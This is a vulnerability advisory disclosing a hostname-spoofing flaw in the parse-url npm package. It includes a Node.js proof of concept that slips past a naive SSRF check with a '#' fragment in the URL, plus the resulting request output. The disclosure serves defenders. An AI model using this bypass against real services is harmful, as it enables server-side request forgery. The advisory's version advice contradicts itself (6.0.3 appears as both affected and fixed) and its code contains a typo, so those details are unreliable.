--- title: "CX-2022-5021" date: "2022-09-12T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2022-5021/" --- # CX-2022-5021 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) No CVE assigned **Published:** Sep 12, 2022 7.5 High Severity hostname improper input javascript node nodejs npm spoofing validation @ @p0cas Reported by Checkmarx Zero Details Overview ## Summary Hostname Spoofing via Improper Input Validation in parse-url. ## Product parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5. ## Steps to reproduce ```❯ { protocols: [ 'http' ], protocol: 'http', port: null, resource: 'localhost#hashvalue', user: '', pathname: '', hash: '', search: '', href: 'http://localhost#hashvalue', query: [Object: null prototype] {} } ``` ### Expected result: ```const const http = require("http") parsed = parseUrl('http://localhost#hashvalue') if (parsed.resource== 'localhost') { console.log('WAF!!!') } else { console.log('bypass!!') console.log(http.get(parsed.href)) } ``` ```OutPut bypass!! ClientRequest { _events: [Object: null prototype] {}, _eventsCount: 0, _maxListeners: undefined, outputData: [ { data: 'GET / HTTP/1.1rnHost: localhostrnConnection: closernrn', encoding: 'latin1', callback: [Function: bound onFinish] } ], outputSize: 54, writable: true, destroyed: false, _last: true, chunkedEncoding: false, shouldKeepAlive: false, maxRequestsOnConnectionReached: false, _defaultKeepAlive: true, useChunkedEncodingByDefault: false, sendDate: false, _removedConnection: false, _removedContLen: false, _removedTE: false, _contentLength: 0, _hasBody: true, _trailer: '', finished: true, _headerSent: true, _closed: false, socket: null, _header: 'GET / HTTP/1.1rnHost: localhostrnConnection: closernrn', _keepAliveTimeout: 0, _onPendingData: [Function: nop], agent: Agent { _events: [Object: null prototype] { free: [Function (anonymous)], newListener: [Function: maybeEnableKeylog] }, _eventsCount: 2, _maxListeners: undefined, defaultPort: 80, protocol: 'http:', options: [Object: null prototype] { path: null }, requests: [Object: null prototype] {}, sockets: [Object: null prototype] { 'localhost:80:': [Array] }, freeSockets: [Object: null prototype] {}, keepAliveMsecs: 1000, keepAlive: false, maxSockets: Infinity, maxFreeSockets: 256, scheduling: 'lifo', maxTotalSockets: Infinity, totalSocketCount: 1, [Symbol(kCapture)]: false }, socketPath: undefined, method: 'GET', maxHeaderSize: undefined, insecureHTTPParser: undefined, path: '/', _ended: false, res: null, aborted: false, timeoutCb: null, upgradeOrConnect: false, parser: null, maxHeadersCount: null, reusedSocket: false, host: 'localhost', protocol: 'http:', [Symbol(kCapture)]: false, [Symbol(kNeedDrain)]: false, [Symbol(corked)]: 0, [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', 'localhost' ] } } ``` When the server has logic to prevent SSRF as above, it can be bypassed by chaining the hostname spoofing vulnerability through the hash value. This is one of the representative examples, and depending on the situation, Open Redirect or Oauth hijacking is also possible. ## Remediation Update parse-url to 6.0.1 or 6.0.3. ## Credit This issue was reported by @p0cas through huntr.dev. ## Resources 1. [21c72ab](https://github.com/ionicabizau/parse-url/commit/21c72ab9412228eea753e2abc48f8962707b1fe3) 2. [Disclosure](https://huntr.dev/bounties/4cec9ed3-cd40-48eb-a5bf-c5d586f7ce66/) 3. [Disclosure](https://huntr.dev/bounties/d8ca39cd-a014-439a-9aa9-7733fa11a13b/) 4. [Disclosure](https://huntr.dev/bounties/fc7cda21-82dd-4545-8a66-7c15535c5c73/) 0 High Severity CVSS v3.1 Score 7.5 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: High - Availability Impact: None Advisory Timeline1. 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